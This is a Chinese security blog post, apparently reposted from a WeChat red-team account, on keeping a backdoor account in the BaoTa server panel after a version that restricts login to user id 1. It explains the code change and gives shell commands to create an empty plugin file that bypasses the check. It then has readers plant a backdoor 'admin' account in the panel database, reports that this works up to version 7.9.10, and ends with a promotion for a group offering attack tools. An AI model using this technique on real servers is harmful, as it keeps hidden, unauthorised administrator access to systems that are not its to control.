再谈宝塔后门账号维权
2024-1-4 20:49:20 Author: Z2O安全攻防(查看原文) 阅读量:17 收藏

上一篇文章提到一个宝塔账号维权的思路,本来这篇文章到此就结束了,但昨晚群里有师傅提到该思路只能用于旧版本,于是麋鹿就写了一篇续集,谈一下后续版本如何继续使用该思路

先来看一下github上宝塔的更新日志,7.9.6里提到做了限制只允许id=1的用户登录

看一下这7.9.6和7.9.5版本的Comparing changes

定位到panel/class/userlogin.py文件

怕有些读者不熟悉上图(patch)是什么意思,麋鹿来解释一下

这张图片显示的是该文件在 GitHub 上的7.9.6和7.9.5版本之间的差异。红色部分代表被移除的代码,绿色部分代表新增的代码。或者换一种说法行头的+ or - 符号分别表示该行代码是新增还是移除。

那我们来解读一下具体的差异

1.红色代码:

public.chdck_salt()
        sql = db.Sql()
        user_list = sql.table('users').field('id,username,password,salt').select()

        userInfo = None
        for u_info in user_list:
            if public.md5(u_info['username']) == post.username:
                userInfo = u_info

    这段代码会获取default.db里 users 表中所有用户的 id, username, password, salt 字段,然后加密,最后去循环检查users表里是否与提交的用户名相匹配。

2,绿色代码

user_plugin_file = '{}/users_main.py'.format(public.get_plugin_path('users'))
        if os.path.exists(user_plugin_file):
            user_list = sql.table('users').field('id,username,password,salt').select()
            for u_info in user_list:
                if public.md5(u_info['username']) == post.username:
                    userInfo = u_info
        else:
            userInfo = sql.table('users').where('id=?',1).field('id,username,password,salt').find()
    • 这部分代码添加了一个检查,如果 users_main.py 文件(这个文件就是上面说到的实现多用户的插件)存在,则执行与红色代码相同的逻辑。

    • 如果 users_main.py 文件不存在,则直接查询 id1 的用户信息。就是说,如果没装这个插件,就只有 id1 的用户可以登录。

那么如果我们在该目录创建该py文件,这种情况是否能还能登录我们的后门账号的?

在尝试这个问题前,我们需要搞清楚该py文件的地址,也就是读懂下面这行代码

user_plugin_file = '{}/users_main.py'.format(public.get_plugin_path('users'))

首先,在Python中,大括号 {} 在字符串格式化时用作占位符。使用 .format() 方法,意思就是将大括号中的内容替换为传递给 .format() 方法的参数。

format的意思一目了然就是获取宝塔插件(英文为plugin)里users插件的地址,而宝塔插件的地址为/www/server/panel/plugin

所以第一步

在/www/server/panel/plugin创建一个users文件夹,users里面创建一个users_main.py

cd /www/server/panel/plugin/
mkdir users
cd users/
touch users_main.py

我已经创建好了,如下图空白的

第二步

在default.db里加一个后门,宝塔算法在上一篇文章里提到过,没看过或者还不到的读者可以回头看一下,文章链接如下

https://mp.weixin.qq.com/s?__biz=MzkwNjUwNTg0MA==&mid=2247490207&idx=1&sn=fb4213eecd00d529a24ac398f2c1c3bd&chksm=c0e62180f791a89601b1a3e481726c6f81ff75de80555455ef0352e02723209f353bc3321a43&token=205949372&lang=zh_CN#rd

看一眼db

第二行为我们的后门账号,账号为admin,密码明文为123456

第三步

升级宝塔到7.9.6版本,前一篇文章也讲过,故略过这一步

第四步

用后门账号密码登录

进来了

麋鹿测试到宝塔面板7.9.10,这个后门还能用

但是最新版本8.0.4就这个思路就不行了

至于新版本如何延续该维权思路,目前麋鹿不方便公布,不过在未来某个合适的时候麋鹿会发文分析,敬请期待。

ps:授人以鱼不如授人以渔,希望大家能自己去读一下新版本关于加密的代码,动动手就会一目了然的。

知识星球

欢迎加入知识星球,星球致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。针对网络安全成员的普遍水平,为星友提供了教程、工具、POC&EXP以及各种学习笔记等等

交流群

关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

点个【 在看 】,你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247507249&idx=1&sn=a7d0cb82c32b22d97a8207b59bc6a0bc&chksm=cf4d78552651207767c966e260ead0284330538e801e7438dc98cb1a9d3b1fc94ff35753253d&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh